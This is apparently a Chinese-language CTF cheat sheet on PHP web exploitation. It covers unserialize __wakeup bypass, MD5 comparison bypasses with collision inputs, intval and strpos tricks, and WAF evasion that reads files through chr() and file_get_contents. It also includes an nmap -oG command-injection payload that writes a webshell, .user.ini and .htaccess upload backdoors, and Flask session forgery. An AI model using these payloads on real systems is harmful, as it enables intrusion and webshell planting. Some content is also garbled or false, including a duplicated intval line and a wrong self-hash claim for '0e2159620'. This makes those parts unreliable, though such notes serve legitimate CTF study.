主要体现在序列化中;
php中的类会有构造函数和析构函数,也还有内置的一些其他语言没有的函数:
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
// 构造函数,声明对象时触发
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
//反序列化时触发
function __wakeup(){
$this->username = 'guest';
}
// 析构函数,对象销毁时触发
function __destruct(){
}
// 对象序列化时触发
function __sleep() {
}
}
?>
序列化还有一些特点:
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度
但这些事不可打印字符,所以直接echo复制拿不到;可以转义一下比如 urlencode ;
以及在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
O:4:“Name”:2:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;s:3:“100”;}
就可以改成
O:4:“Name”:3:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;s:3:“100”;}
以绕过__wakeup
注意到,其实完成的序列化字符串是这样的:
O:4:“Name”:2:{s:14:"%00Name%00username";s:5:“admin”;s:14:"%00Name%00password";s:3:“100”;}
$a != $b && md5($a) == md5($b)
a=aabg7XSs
b=aabC9RqS
MD5:
0e087386482136013740957780965295 = 0e041022518165728065344349536299
$a != $b && md5($a) === md5($b)
a,b传入数组:
a[]=1&b[]=2
这样md5函数会报错返回NULL,但两个返回的NULL是一样的,所以可以绕过
(string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])
强等且转字符串情况:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
if(strpos($str1,$str2) == false) {
}
当str1在str2开头,strpos返回0,等于false,绕过
如果要求自己的MD5值和自己相等,可以利用科学计数法的溢出:
0e215962017
md5值:0e291242476940776845150308577824
0e2159620
md5值:0e2159620
脚本:
def run():
i = 0
while True:
text = '0e{}'.format(i)
m = md5(text)
print(text,m)
if m[0:2] == '0e' :
if m[2:].isdigit():
print('find it:',text,":",m)
break
i +=1
run()
intval获取变量的整数数值
if(intval($num) < 2020 && intval($num + 1) > 2021){
该函数无法正确处理十六进制,但如果强转类型就可以正常计算了;所以直接传一个0x2000。
且该函数在用科学计数法的时候,只会保留前面的数值,所以可以传 1e10
intval(req[“number”])=intval(strrev(req[“number”])=intval(strrev(req[“number”])=intval(strrev(req[“number”]))
如果要求不是回文,但又要满足这个条件,
Intval最大的值取决于操作系统。
32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。
32位系统上, intval(‘1000000000000’) 会返回 2147483647。
64 位系统上,最大带符号的 integer 值是 9223372036854775807。
所以如果参数为2147483647,那么当它反过来(就是字面意思),由于超出了限制,所以依然等于2147483647,即为回文。
也可以
可以用科学计数法构造0=0:
number=0e-0%00
preg_replace /e 模式下的代码执行问题,其中包括 preg_replace 函数的执行过程分析、正则表达式分析、漏洞触发分析,当中的坑非常多。
深入研究preg_replace与代码执行
例题WP
部分常用函数在waf中可能会被过滤掉,需要用一些其它的函数来实现。
var_dump() 将变量以字符串形式输出,替代print和echo
chr() ASCII范围的整数转字符
file_get_contents() 顾名思义获取一个文件的内容,替代system('cat flag;')
scandir() 扫描某个目录并将结果以array形式返回,配和vardump 可以替代system('ls;')
scandir() 函数返回指定目录中的文件和目录的数组。
题目的过滤:
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
但其实题目可能还有自己的waf,比如干脆不让你传字母;
此时啥命令执行都没法了;
但php的参数解析有过滤无效字符的特点:
这是别人对PHP字符串解析漏洞的理解,
我们知道PHP将查询字符串(在URL或正文中)转换为内部GET或的关联数组_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)【注意此处,过滤了%20空格,把无效字符[转换成下划线,也过滤了截断字符%00】。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:
/news.php?%20news[id%00=42"+AND+1=0–
上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。【这样waf就完全找不到news_id这个参数了,因为他认为你没有传】
HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
所以绕过不能传字母的waf:
在问号后面加个空格;
先用var_dump(scandir(chr(47)))扫描目录,注意此处没有传"/"因为引号被过滤,所以只能用chr;
发现有f1agg文件;
所以var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))查看文件获取flag;
此时传入的参数是 /f1agg ;需要加/表示位置
题目:
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
escapeshellarg和escapeshellcmd一切用会出现漏洞,看着晕乎乎的…
PHP escapeshellarg()+escapeshellcmd() 之殇
谈谈escapeshellarg参数绕过和注入的问题
Writeup提到的问题
最后的payload:
?host=' -oG hack.php '
-og 是nmap把内容写进文件中的参数
也可以直接用一句话php解决:
?host=' -oG shell12.php '
一般涉及请求伪造;
ContentType = “application/x-www-form-urlencoded”;
这里的application/x-www-form-urlencoded:是一种编码格式,窗体数据被编码为名称/值对,是标准的编码格式。
当action为get时候,浏览器用x-www-form-urlencoded的编码方式把form数据转换成一个字串(name1=value1&name2=value2…),然后把这个字串append到url后面,用?分割,加载这个新的url。 当action为post时候,浏览器把form数据封装到http body中,然后发送到server。
很多时候上传文件,只能上传图片,但即便上传了图片马,也无法连接;
所以可以使用phtml格式,上传成功【还有这些php,php3,php4,php5,phtml.pht】
.user.ini文件利用
.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)
其中有两个配置,可以用来制造后门:
auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:
auto_prepend_file=test.jpg
这样我们上传的图片文件就可以用菜刀连接了;
首先写好.user.ini并加上图片头,上传成功;
然后上传同名图片马
最后效果是
我们访问任意一个php文件,他都默认加载我们的图片马;即可用菜刀连接;
.htaccess文件可以把其他类型文件解析成php,比如:
AddType application/x-httpd-php .jpg
就是把jpg文件解析成php;
由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。
简而言之,flask的session可以解密,以获取信息,也可以对其进行伪造;
flask session漏洞描述
客户端session导致的问题